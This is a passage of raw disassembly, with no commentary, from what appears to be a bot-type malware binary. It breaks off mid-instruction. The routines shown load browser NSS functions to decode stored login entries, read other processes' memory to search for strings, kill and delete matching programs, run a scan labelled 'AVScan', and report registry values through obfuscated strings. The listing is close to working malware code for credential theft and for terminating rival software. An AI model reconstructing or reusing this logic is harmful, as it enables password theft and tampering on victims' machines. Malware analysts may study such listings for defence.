dword_42F13C cmp dword_455AB0, ebp mov dword_455EC4, eax jz short loc_4170C9 cmp dword_455F24, ebp jz short loc_4170C9 cmp dword_455F2C, ebp jz short loc_4170C9 cmp dword_455F28, ebp jz short loc_4170C9 cmp dword_455ED0, ebp jz short loc_4170C9 cmp dword_455EC8, ebp jz short loc_4170C9 cmp eax, ebp jz short loc_4170C9 push offset aPl_base64decod ; "PL_Base64Decode" push dword_45C1DC call esi ; dword_42F13C cmp eax, ebp mov dword_455EBC, eax jz short loc_4170C9 xor eax, eax inc eax jmp short loc_4170D0 ; --------------------------------------------------------------------------- loc_4170C9: ; CODE XREF: sub_416F48+138j ; sub_416F48+140j ... call sub_41740C loc_4170CE: ; CODE XREF: sub_416F48+A0j ; sub_416F48+A8j xor eax, eax loc_4170D0: ; CODE XREF: sub_416F48+17Fj pop edi pop esi pop ebp pop ebx retn sub_416F48 endp ; =============== S U B R O U T I N E ======================================= sub_4170D5 proc near ; CODE XREF: sub_416B4C+6Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 and dword_45C1D4, 0 push ebx push esi push [esp+8+arg_0] call dword_455AB0 test eax, eax pop ecx jnz short loc_41713A mov ebx, [esp+8+arg_4] mov dword_45C1D4, 1 test ebx, ebx mov esi, offset byte_455AB8 jz short loc_417127 push ebx call sub_422120 cmp eax, 3FFh pop ecx ja short loc_41713A push ebx call sub_422120 test eax, eax pop ecx jbe short loc_417127 push ebx push esi call dword_42F04C ; lstrcpyA jmp short loc_41712E ; --------------------------------------------------------------------------- loc_417127: ; CODE XREF: sub_4170D5+2Dj ; sub_4170D5+46j and byte_455AB8, 0 loc_41712E: ; CODE XREF: sub_4170D5+50j push esi call sub_4174BE cmp eax, 1 pop ecx jz short loc_417143 loc_41713A: ; CODE XREF: sub_4170D5+16j ; sub_4170D5+3Bj call sub_41740C xor eax, eax jmp short loc_417146 ; --------------------------------------------------------------------------- loc_417143: ; CODE XREF: sub_4170D5+63j xor eax, eax inc eax loc_417146: ; CODE XREF: sub_4170D5+6Cj pop esi pop ebx retn sub_4170D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417149 proc near ; CODE XREF: sub_416B4C+9Dp var_5128 = byte ptr -5128h var_2928 = byte ptr -2928h var_2927 = byte ptr -2927h var_128 = byte ptr -128h var_28 = byte ptr -28h var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 5128h call sub_4220C0 push ebx push esi push edi mov esi, offset dword_43ECA0 lea edi, [ebp+var_18] push [ebp+arg_0] movsd movsd movsd movsb mov esi, offset dword_43EC90 lea edi, [ebp+var_28] movsd movsd and [ebp+var_8], 0 xor ebx, ebx movsd inc ebx movsw mov [ebp+var_4], ebx call sub_422120 add eax, 41h push eax call sub_422F79 mov esi, eax pop ecx test esi, esi pop ecx jz loc_417407 push [ebp+arg_0] mov edi, dword_42F04C push esi call edi ; dword_42F04C lea eax, [ebp+var_18] push eax push esi call sub_423270 push esi call sub_41750C add esp, 0Ch test eax, eax jnz short loc_4171E4 push [ebp+arg_0] push esi call edi ; dword_42F04C lea eax, [ebp+var_28] push eax push esi call sub_423270 push esi call sub_41750C add esp, 0Ch test eax, eax jz loc_417407 mov [ebp+var_4], 2 loc_4171E4: ; CODE XREF: sub_417149+71j mov esi, 2800h lea eax, [ebp+var_2928] push esi push eax call sub_417539 pop ecx test eax, eax pop ecx jz loc_417407 cmp [ebp+var_4], ebx jnz short loc_417220 lea eax, [ebp+var_2928] push offset off_43EC8C push eax call sub_422760 pop ecx test eax, eax pop ecx jnz loc_417407 loc_417220: ; CODE XREF: sub_417149+BAj cmp [ebp+var_4], 2 jnz short loc_41725D lea eax, [ebp+var_2928] push offset dword_43EC88 push eax call sub_422760 pop ecx test eax, eax pop ecx jnz loc_417407 jmp short loc_41725D ; --------------------------------------------------------------------------- loc_417243: ; CODE XREF: sub_417149+125j lea eax, [ebp+var_2928] push eax call sub_422120 test eax, eax pop ecx jz short loc_41725D cmp [ebp+var_2928], 2Eh jz short loc_417270 loc_41725D: ; CODE XREF: sub_417149+DBj ; sub_417149+F8j ... lea eax, [ebp+var_2928] push esi push eax call sub_417539 pop ecx test eax, eax pop ecx jnz short loc_417243 loc_417270: ; CODE XREF: sub_417149+112j lea eax, [ebp+var_2928] push esi push eax call sub_417539 pop ecx test eax, eax pop ecx jz loc_417407 mov ebx, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI." mov edi, offset aSS_0 ; "%s %s" loc_417291: ; CODE XREF: sub_417149+2B8j lea eax, [ebp+var_2928] push eax lea eax, [ebp+var_128] push offset dword_43EC68 push eax call sub_422063 and [ebp+arg_0], 0 lea eax, [ebp+var_2928] push esi push eax call sub_417539 add esp, 14h jmp loc_4173E8 ; --------------------------------------------------------------------------- loc_4172C2: ; CODE XREF: sub_417149+2A1j cmp [ebp+var_2928], 2Eh jz loc_4173F0 cmp [ebp+var_4], 2 jnz short loc_4172F9 cmp [ebp+arg_0], 2 jnz short loc_4172F9 lea eax, [ebp+var_2928] push eax lea eax, [ebp+var_128] push eax call sub_423270 and [ebp+arg_0], 0 pop ecx pop ecx jmp loc_4173D9 ; --------------------------------------------------------------------------- loc_4172F9: ; CODE XREF: sub_417149+18Aj ; sub_417149+190j cmp [ebp+var_2928], 2Ah jnz short loc_41731D lea eax, [ebp+var_128] push offset dword_43EC58 push eax call sub_422063 pop ecx lea eax, [ebp+var_2927] pop ecx jmp short loc_417323 ; --------------------------------------------------------------------------- loc_41731D: ; CODE XREF: sub_417149+1B7j lea eax, [ebp+var_2928] loc_417323: ; CODE XREF: sub_417149+1D2j push eax lea eax, [ebp+var_5128] push eax call dword_42F04C ; lstrcpyA lea eax, [ebp+var_2928] push esi push eax call sub_417539 pop ecx test eax, eax pop ecx jz loc_4173F0 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_2928] push eax call sub_4175CF pop ecx cmp eax, 1 pop ecx jnz loc_417407 lea eax, [ebp+var_5128] push eax lea eax, [ebp+var_128] push eax call sub_423270 lea eax, [ebp+var_128] push offset asc_43EC54 ; ": " push eax call sub_423270 push [ebp+var_8] lea eax, [ebp+var_128] push eax call sub_423270 add esp, 18h lea eax, [ebp+var_128] cmp [ebp+arg_C], 0 push eax push ebx push edi push [ebp+arg_10] push [ebp+arg_4] push [ebp+arg_8] jnz short loc_4173B8 call sub_4105DF jmp short loc_4173BD ; --------------------------------------------------------------------------- loc_4173B8: ; CODE XREF: sub_417149+266j call sub_41066C loc_4173BD: ; CODE XREF: sub_417149+26Dj and [ebp+var_128], 0 add esp, 18h push 1F4h call dword_42F15C ; Sleep and [ebp+var_8], 0 inc [ebp+arg_0] loc_4173D9: ; CODE XREF: sub_417149+1ABj lea eax, [ebp+var_2928] push esi push eax call sub_417539 pop ecx pop ecx loc_4173E8: ; CODE XREF: sub_417149+174j test eax, eax jnz loc_4172C2 loc_4173F0: ; CODE XREF: sub_417149+180j ; sub_417149+1F9j lea eax, [ebp+var_2928] push esi push eax call sub_417539 pop ecx test eax, eax pop ecx jnz loc_417291 loc_417407: ; CODE XREF: sub_417149+4Aj ; sub_417149+8Ej ... pop edi pop esi pop ebx leave retn sub_417149 endp ; =============== S U B R O U T I N E ======================================= sub_41740C proc near ; CODE XREF: sub_416B4C+A5p ; sub_416F48:loc_4170C9p ... cmp dword_45C1D4, 0 jz short loc_417420 mov eax, dword_455F24 test eax, eax jz short loc_417420 call eax ; dword_455F24 loc_417420: ; CODE XREF: sub_41740C+7j ; sub_41740C+10j mov eax, dword_45C1D8 push esi mov esi, dword_42F0BC test eax, eax jz short loc_417433 push eax call esi ; dword_42F0BC loc_417433: ; CODE XREF: sub_41740C+22j mov eax, dword_45C1DC test eax, eax jz short loc_41743F push eax call esi ; dword_42F0BC loc_41743F: ; CODE XREF: sub_41740C+2Ej pop esi retn sub_41740C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417441 proc near ; CODE XREF: sub_416F48+2Ap ; sub_416F48+37p ... var_1000 = byte ptr -1000h var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_4220C0 mov al, byte_44D6A4 push edi mov [ebp+var_1000], al mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_FFF] rep stosd cmp [ebp+arg_0], 0 stosw stosb pop edi jnz short loc_417477 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_417477: ; CODE XREF: sub_417441+30j push [ebp+arg_0] lea eax, [ebp+var_1000] push eax call dword_42F04C ; lstrcpyA lea eax, [ebp+var_1000] push offset asc_4381B4 ; "/" push eax call sub_423270 push [ebp+arg_4] lea eax, [ebp+var_1000] push eax call sub_423270 add esp, 10h lea eax, [ebp+var_1000] push eax call dword_42F138 ; LoadLibraryA mov dword_45C1E0, eax leave retn sub_417441 endp ; =============== S U B R O U T I N E ======================================= sub_4174BE proc near ; CODE XREF: sub_4170D5+5Ap arg_0 = dword ptr 4 push edi call dword_455F2C mov edi, eax test edi, edi jnz short loc_4174CD pop edi retn ; --------------------------------------------------------------------------- loc_4174CD: ; CODE XREF: sub_4174BE+Bj push esi mov esi, [esp+8+arg_0] cmp byte ptr [esi], 0 jz short loc_4174EE push offset byte_44D6A4 push edi call dword_455EC4 pop ecx test eax, eax pop ecx jnz short loc_4174EE xor esi, esi inc esi jmp short loc_4174FF ; --------------------------------------------------------------------------- loc_4174EE: ; CODE XREF: sub_4174BE+17j ; sub_4174BE+29j push esi push edi call dword_455EC4 mov esi, eax pop ecx neg esi sbb esi, esi pop ecx inc esi loc_4174FF: ; CODE XREF: sub_4174BE+2Ej push edi call dword_455EC8 pop ecx mov eax, esi pop esi pop edi retn sub_4174BE endp ; =============== S U B R O U T I N E ======================================= sub_41750C proc near ; CODE XREF: sub_417149+67p ; sub_417149+84p arg_0 = dword ptr 4 and dword_45C1E8, 0 and dword_45C1E4, 0 push offset word_433F2C push [esp+4+arg_0] call sub_422F66 pop ecx mov dword_45C1EC, eax pop ecx xor ecx, ecx test eax, eax setnz cl mov eax, ecx retn sub_41750C endp ; =============== S U B R O U T I N E ======================================= sub_417539 proc near ; CODE XREF: sub_417149+A8p ; sub_417149+11Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi and byte ptr [edi], 0 loc_417544: ; CODE XREF: sub_417539+1Fj ; sub_417539+25j ... call sub_417583 movsx eax, al test eax, eax jz short loc_41757F cmp eax, 0Ah jz short loc_417575 cmp eax, 0Dh jz short loc_417544 xor ecx, ecx loc_41755C: ; CODE XREF: sub_417539+38j test al, al jz short loc_417544 cmp esi, [esp+8+arg_4] jge short loc_41757F mov [esi+edi], al inc esi shr eax, 8 inc ecx cmp ecx, 4 jl short loc_41755C jmp short loc_417544 ; --------------------------------------------------------------------------- loc_417575: ; CODE XREF: sub_417539+1Aj and byte ptr [esi+edi], 0 xor eax, eax inc eax loc_41757C: ; CODE XREF: sub_417539+48j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41757F: ; CODE XREF: sub_417539+15j ; sub_417539+2Bj xor eax, eax jmp short loc_41757C sub_417539 endp ; =============== S U B R O U T I N E ======================================= sub_417583 proc near ; CODE XREF: sub_417539:loc_417544p mov eax, dword_45C1E8 cmp eax, dword_45C1E4 jl short loc_4175BD push dword_45C1EC and dword_45C1E8, 0 push 2800h push 1 push offset byte_455F30 call sub_422BE2 add esp, 10h mov dword_45C1E4, eax test eax, eax jg short loc_4175BD xor al, al retn ; --------------------------------------------------------------------------- loc_4175BD: ; CODE XREF: sub_417583+Bj ; sub_417583+35j mov eax, dword_45C1E8 inc dword_45C1E8 mov al, byte_455F30[eax] retn sub_417583 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175CF proc near ; CODE XREF: sub_417149+20Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx push edi mov [ebp+var_10], ebx mov al, [esi] mov [ebp+var_4], ebx cmp al, bl mov [ebp+var_8], ebx mov [ebp+var_C], ebx jnz short loc_417606 loc_4175EF: ; CODE XREF: sub_4175CF+BFj push 1 call sub_422F79 pop ecx mov ecx, [ebp+arg_4] mov [ecx], eax mov [eax], bl loc_4175FE: ; CODE XREF: sub_4175CF+A3j xor eax, eax inc eax jmp loc_4176AC ; --------------------------------------------------------------------------- loc_417606: ; CODE XREF: sub_4175CF+1Ej cmp al, byte_43ECB0 jz short loc_417678 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax push esi call sub_4176B1 add esp, 0Ch test eax, eax jz short loc_417674 cmp [ebp+var_8], ebx jz short loc_417674 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_8] call sub_417704 add esp, 10h test eax, eax jz short loc_417674 cmp [ebp+var_C], ebx jz short loc_417674 mov eax, [ebp+var_4] inc eax push eax call sub_422F79 mov esi, [ebp+arg_4] cmp eax, ebx pop ecx mov [esi], eax jz short loc_417674 push [ebp+var_4] push [ebp+var_C] push eax call sub_4223F0 mov eax, [esi] mov ecx, [ebp+var_4] add esp, 0Ch mov [ecx+eax], bl jmp short loc_4175FE ; --------------------------------------------------------------------------- loc_417674: ; CODE XREF: sub_4175CF+52j ; sub_4175CF+57j ... xor eax, eax jmp short loc_4176AC ; --------------------------------------------------------------------------- loc_417678: ; CODE XREF: sub_4175CF+3Dj push offset byte_43ECB0 call sub_422120 push esi mov edi, eax call sub_422120 pop ecx cmp eax, edi pop ecx jz loc_4175EF lea eax, [ebp+var_10] add edi, esi push eax push [ebp+arg_4] push edi call sub_4176B1 add esp, 0Ch neg eax sbb eax, eax neg eax loc_4176AC: ; CODE XREF: sub_4175CF+32j ; sub_4175CF+A7j pop edi pop esi pop ebx leave retn sub_4175CF endp ; =============== S U B R O U T I N E ======================================= sub_4176B1 proc near ; CODE XREF: sub_4175CF+48p ; sub_4175CF+CFp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi mov edi, [esp+0Ch+arg_0] push edi call sub_422120 mov esi, eax xor ebx, ebx pop ecx cmp byte ptr [esi+edi-1], 3Dh jnz short loc_4176D5 inc ebx cmp byte ptr [esi+edi-2], 3Dh jnz short loc_4176D5 push 2 pop ebx loc_4176D5: ; CODE XREF: sub_4176B1+17j ; sub_4176B1+1Fj push 0 push esi push edi call dword_455EBC mov ecx, [esp+18h+arg_4] add esp, 0Ch test eax, eax mov [ecx], eax jz short loc_417700 lea eax, [esi+esi*2] push 4 cdq pop ecx idiv ecx mov ecx, [esp+0Ch+arg_8] sub eax, ebx mov [ecx], eax xor eax, eax inc eax loc_417700: ; CODE XREF: sub_4176B1+39j pop edi pop esi pop ebx retn sub_4176B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417704 proc near ; CODE XREF: sub_4175CF+67p var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h push esi call dword_455F2C mov esi, eax test esi, esi jz short loc_417754 push 0 push 1 push esi call dword_455F28 add esp, 0Ch test eax, eax jnz short loc_417754 mov eax, [ebp+arg_0] and [ebp+var_8], 0 mov [ebp+var_14], eax mov eax, [ebp+arg_4] and [ebp+var_4], 0 mov [ebp+var_10], eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_18] push eax call dword_455ED0 add esp, 0Ch test eax, eax jz short loc_417758 loc_417754: ; CODE XREF: sub_417704+11j ; sub_417704+23j xor eax, eax jmp short loc_417773 ; --------------------------------------------------------------------------- loc_417758: ; CODE XREF: sub_417704+4Ej mov eax, [ebp+arg_8] mov ecx, [ebp+var_8] push esi mov [eax], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+var_4] mov [eax], ecx call dword_455EC8 xor eax, eax pop ecx inc eax loc_417773: ; CODE XREF: sub_417704+52j pop esi leave retn sub_417704 endp ; =============== S U B R O U T I N E ======================================= sub_417776 proc near ; CODE XREF: sub_416C0B+E8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_422120 xor edx, edx pop ecx test eax, eax jle short loc_4177A0 loc_417788: ; CODE XREF: sub_417776+28j mov cl, [edx+esi] cmp cl, 41h jl short loc_41779B cmp cl, 5Ah jg short loc_41779B add cl, 20h mov [edx+esi], cl loc_41779B: ; CODE XREF: sub_417776+18j ; sub_417776+1Dj inc edx cmp edx, eax jl short loc_417788 loc_4177A0: ; CODE XREF: sub_417776+10j pop esi retn sub_417776 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177A2 proc near ; CODE XREF: sub_403B2C+1045p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 88h lea eax, [ebp+var_4] and [ebp+var_4], 0 push eax push 20019h push 0 mov [ebp+var_8], 80h push [ebp+arg_C] push [ebp+arg_8] call dword_42F008 ; RegOpenKeyExA lea eax, [ebp+var_8] push eax lea eax, [ebp+var_88] push eax push 0 push 0 push [ebp+arg_10] push [ebp+var_4] call dword_42F000 ; RegQueryValueExA test eax, eax jnz short locret_417814 lea eax, [ebp+var_88] push eax push offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k." push offset aSS_ ; "%s %s." push [ebp+arg_0] push [ebp+arg_4] call sub_4104F6 add esp, 14h push [ebp+var_4] call dword_42F004 ; RegCloseKey locret_417814: ; CODE XREF: sub_4177A2+48j leave retn sub_4177A2 endp ; --------------------------------------------------------------------------- loc_417816: ; CODE XREF: .text:0042EF03j ; .text:0042EF0Bj ... mov eax, [ecx] test eax, eax jz short locret_417822 mov ecx, [eax] push eax call dword ptr [ecx+8] locret_417822: ; CODE XREF: .text:0041781Aj retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417823 proc near ; CODE XREF: sub_417A90+1CEp ; sub_417A90+200p var_5504 = byte ptr -5504h var_5503 = byte ptr -5503h var_504 = byte ptr -504h var_503 = byte ptr -503h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = byte ptr 20h arg_20 = dword ptr 28h arg_3C = byte ptr 44h push ebp mov ebp, esp mov eax, 5504h call sub_4220C0 and [ebp+var_5504], 0 push ebx push esi push edi mov ecx, 13FFh xor eax, eax lea edi, [ebp+var_5503] and [ebp+var_504], 0 rep stosd stosw stosb mov ecx, 13Fh xor eax, eax lea edi, [ebp+var_503] push [ebp+arg_20] rep stosd stosw stosb xor edi, edi push edi push 1F0FFFh call dword_42F0E4 ; OpenProcess mov [ebp+var_4], eax mov eax, [ebp+arg_10] mov [ebp+arg_10], eax jmp loc_417972 ; --------------------------------------------------------------------------- loc_417884: ; CODE XREF: sub_417823+152j push edi lea eax, [ebp+var_504] push 500h push eax push [ebp+arg_10] push [ebp+var_4] call dword_42F0E0 ; ReadProcessMemory cmp eax, edi jz loc_41797B lea eax, [ebp+var_504] push eax lea eax, [ebp+var_5504] push eax call sub_423270 cmp off_43ECBC, edi pop ecx pop ecx jz loc_417957 mov esi, offset off_43ECBC mov ebx, esi loc_4178CD: ; CODE XREF: sub_417823+12Ej push dword ptr [esi] lea eax, [ebp+var_5504] push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_41794A push dword ptr [ebx-4] lea eax, [ebp+arg_3C] push eax push dword ptr [esi] mov esi, offset dword_45C1F0 push offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" push offset aSFoundStringSI ; "%s Found string \"%s\" in \"%s\" File \"%s\"\n"... push esi call sub_422063 add esp, 18h cmp [ebp+arg_4], edi jnz short loc_417916 push esi push [ebp+arg_C] push [ebp+arg_0] call sub_4104F6 add esp, 0Ch loc_417916: ; CODE XREF: sub_417823+E2j push 7D0h call dword_42F15C ; Sleep sub esp, 128h lea esi, [ebp+arg_18] push 4Ah pop ecx mov edi, esp push [ebp+arg_C] rep movsd push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_417989 add esp, 138h xor edi, edi loc_41794A: ; CODE XREF: sub_417823+BCj add ebx, 8 mov esi, ebx cmp [ebx], edi jnz loc_4178CD loc_417957: ; CODE XREF: sub_417823+9Dj push 5000h lea eax, [ebp+var_5504] push edi push eax call sub_4221F0 add esp, 0Ch inc [ebp+arg_10] mov eax, [ebp+arg_10] loc_417972: ; CODE XREF: sub_417823+5Cj cmp eax, [ebp+arg_14] jbe loc_417884 loc_41797B: ; CODE XREF: sub_417823+7Cj push [ebp+var_4] call dword_42F038 ; CloseHandle pop edi pop esi pop ebx leave retn sub_417823 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417989 proc near ; CODE XREF: sub_417823+11Ap var_228 = dword ptr -228h var_224 = byte ptr -224h var_208 = byte ptr -208h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_34 = byte ptr 3Ch push ebp mov ebp, esp sub esp, 228h and [ebp+var_228], 0 push esi push edi mov ecx, 88h push [ebp+arg_18] xor eax, eax lea edi, [ebp+var_224] rep stosd push 8 call sub_421C60 ; CreateToolhelp32Snapshot mov edi, eax lea eax, [ebp+var_228] push eax push edi mov [ebp+var_228], 224h call sub_421C5A ; Module32First test eax, eax jz loc_417A7E mov esi, offset dword_45C1F0 loc_4179DA: ; CODE XREF: sub_417989+EFj lea eax, [ebp+var_208] push eax lea eax, [ebp+arg_34] push eax call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_417A69 lea eax, [ebp+var_108] push 80h push eax call dword_42F08C ; SetFileAttributesA push [ebp+arg_18] push 0 push 1F0FFFh call dword_42F0E4 ; OpenProcess push 0 push eax mov [ebp+var_4], eax call dword_42F0EC ; TerminateProcess push 1F4h call dword_42F15C ; Sleep lea eax, [ebp+var_108] push eax call dword_42F088 ; DeleteFileA test eax, eax jz short loc_417A69 lea eax, [ebp+var_108] push eax push offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" push offset aSTerminatedAnd ; "%s Terminated and deleted %s\n" push esi call sub_422063 add esp, 10h cmp [ebp+arg_4], 0 jnz short loc_417A69 push esi push [ebp+arg_C] push [ebp+arg_0] call sub_4104F6 add esp, 0Ch loc_417A69: ; CODE XREF: sub_417989+65j ; sub_417989+AFj ... lea eax, [ebp+var_228] push eax push edi call sub_421C54 ; Module32Next test eax, eax jnz loc_4179DA loc_417A7E: ; CODE XREF: sub_417989+46j push [ebp+var_4] mov esi, dword_42F038 call esi ; dword_42F038 push edi call esi ; dword_42F038 pop edi pop esi leave retn sub_417989 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A90 proc near ; DATA XREF: sub_403B2C+154Bo var_1CC = dword ptr -1CCh var_1A8 = byte ptr -1A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_18 = dword ptr -18h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 27h mov esi, eax pop ecx lea edi, [ebp+var_A4] rep movsd mov esi, offset dword_45C328 mov dword ptr [eax+98h], 1 mov eax, [ebp+var_A4] push 80h push esi push 0 mov [ebp+var_8], eax call dword_42F074 ; GetModuleHandleA push eax call dword_42F154 ; GetModuleFileNameA push 5Ch push esi call sub_4234F0 push offset byte_44D6A4 push offset asc_43E8EC ; "\\" push eax mov dword_45C3A8, eax call sub_41F167 add esp, 14h push 0 push 2 call sub_421C60 ; CreateToolhelp32Snapshot lea ecx, [ebp+var_1CC] mov [ebp+var_4], eax push ecx push eax mov [ebp+var_1CC], 128h mov byte ptr [ebp+arg_0+3], 1 call sub_421C6C ; Process32First test eax, eax jz loc_417CB8 mov ebx, dword_42F070 loc_417B2E: ; CODE XREF: sub_417A90+222j push dword_45C3A8 lea eax, [ebp+var_1A8] push eax call ebx ; dword_42F070 test eax, eax jnz short loc_417B44 and byte ptr [ebp+arg_0+3], al loc_417B44: ; CODE XREF: sub_417A90+AFj xor edi, edi loc_417B46: ; CODE XREF: sub_417A90+EFj lea esi, off_43F000[edi] lea eax, [ebp+var_1A8] push dword ptr [esi] push eax call ebx ; dword_42F070 test eax, eax jnz short loc_417B5E and byte ptr [ebp+arg_0+3], al loc_417B5E: ; CODE XREF: sub_417A90+C9j lea eax, [ebp+var_1A8] push eax push dword ptr [esi] call sub_41F2BB pop ecx test eax, eax pop ecx jz short loc_417B76 and byte ptr [ebp+arg_0+3], 0 loc_417B76: ; CODE XREF: sub_417A90+E0j add edi, 4 cmp edi, 63Ch jb short loc_417B46 xor edi, edi loc_417B83: ; CODE XREF: sub_417A90+12Cj lea esi, off_43F640[edi] lea eax, [ebp+var_1A8] push dword ptr [esi] push eax call ebx ; dword_42F070 test eax, eax jnz short loc_417B9B and byte ptr [ebp+arg_0+3], al loc_417B9B: ; CODE XREF: sub_417A90+106j lea eax, [ebp+var_1A8] push eax push dword ptr [esi] call sub_41F2BB pop ecx test eax, eax pop ecx jz short loc_417BB3 and byte ptr [ebp+arg_0+3], 0 loc_417BB3: ; CODE XREF: sub_417A90+11Dj add edi, 4 cmp edi, 84h jb short loc_417B83 xor edi, edi loc_417BC0: ; CODE XREF: sub_417A90+169j lea esi, off_43F6C8[edi] lea eax, [ebp+var_1A8] push dword ptr [esi] push eax call ebx ; dword_42F070 test eax, eax jnz short loc_417BD8 and byte ptr [ebp+arg_0+3], al loc_417BD8: ; CODE XREF: sub_417A90+143j lea eax, [ebp+var_1A8] push eax push dword ptr [esi] call sub_41F2BB pop ecx test eax, eax pop ecx jz short loc_417BF0 and byte ptr [ebp+arg_0+3], 0 loc_417BF0: ; CODE XREF: sub_417A90+15Aj add edi, 4 cmp edi, 0A4h jb short loc_417BC0 cmp byte ptr [ebp+arg_0+3], 0 jz loc_417C9D cmp [ebp+var_10], 0 jz short loc_417C2E lea eax, [ebp+var_1A8] push eax push offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" lea eax, [ebp+var_A0] push offset aSRunningAvscan ; "%s Running AVScan on %s\n" push eax push [ebp+var_8] call sub_4104F6 add esp, 14h loc_417C2E: ; CODE XREF: sub_417A90+179j sub esp, 128h lea eax, [ebp+var_A0] lea esi, [ebp+var_1CC] push 4Ah pop ecx mov edi, esp push offset byte_4FFFFF push 400000h push eax push [ebp+var_10] rep movsd push [ebp+var_18] push [ebp+var_A4] call sub_417823 add esp, 18h lea eax, [ebp+var_A0] lea esi, [ebp+var_1CC] push 4Ah pop ecx mov edi, esp push 1FFFFFh push 100000h push eax push [ebp+var_10] rep movsd push [ebp+var_18] push [ebp+var_A4] call sub_417823 add esp, 140h jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C9D: ; CODE XREF: sub_417A90+16Fj mov byte ptr [ebp+arg_0+3], 1 loc_417CA1: ; CODE XREF: sub_417A90+20Bj lea eax, [ebp+var_1CC] push eax push [ebp+var_4] call sub_421C66 ; Process32Next test eax, eax jnz loc_417B2E loc_417CB8: ; CODE XREF: sub_417A90+92j push [ebp+var_4] call dword_42F038 ; CloseHandle call sub_4245F8 push [ebp+var_20] call sub_41C059 pop ecx push 0 call dword_42F150 ; ExitThread sub_417A90 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417CD7 proc near ; DATA XREF: sub_403B2C+1842o var_594 = byte ptr -594h var_490 = byte ptr -490h var_418 = byte ptr -418h var_314 = byte ptr -314h var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = dword ptr -218h var_214 = dword ptr -214h var_208 = dword ptr -208h var_204 = dword ptr -204h var_1E8 = dword ptr -1E8h var_1E4 = dword ptr -1E4h var_5C = dword ptr -5Ch var_30 = dword ptr -30h var_2C = word ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 594h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 90h mov esi, eax lea edi, [ebp+var_29C] rep movsd xor edi, edi push [ebp+var_214] inc edi mov esi, [ebp+var_208] mov [eax+0BCh], edi mov eax, [ebp+var_29C] mov [ebp+arg_0], eax mov eax, [ebp+var_204] mov [ebp+var_18], eax lea eax, [ebp+var_418] push eax call dword_42F04C ; lstrcpyA lea eax, [ebp+var_418] push 104h push eax lea eax, [ebp+var_594] push eax call sub_4222F0 add esp, 0Ch lea eax, [ebp+var_594] push eax call dword_45429C ; PathRemoveFileSpecA xor ebx, ebx test eax, eax jnz short loc_417DB9 cmp [ebp+var_1E8], 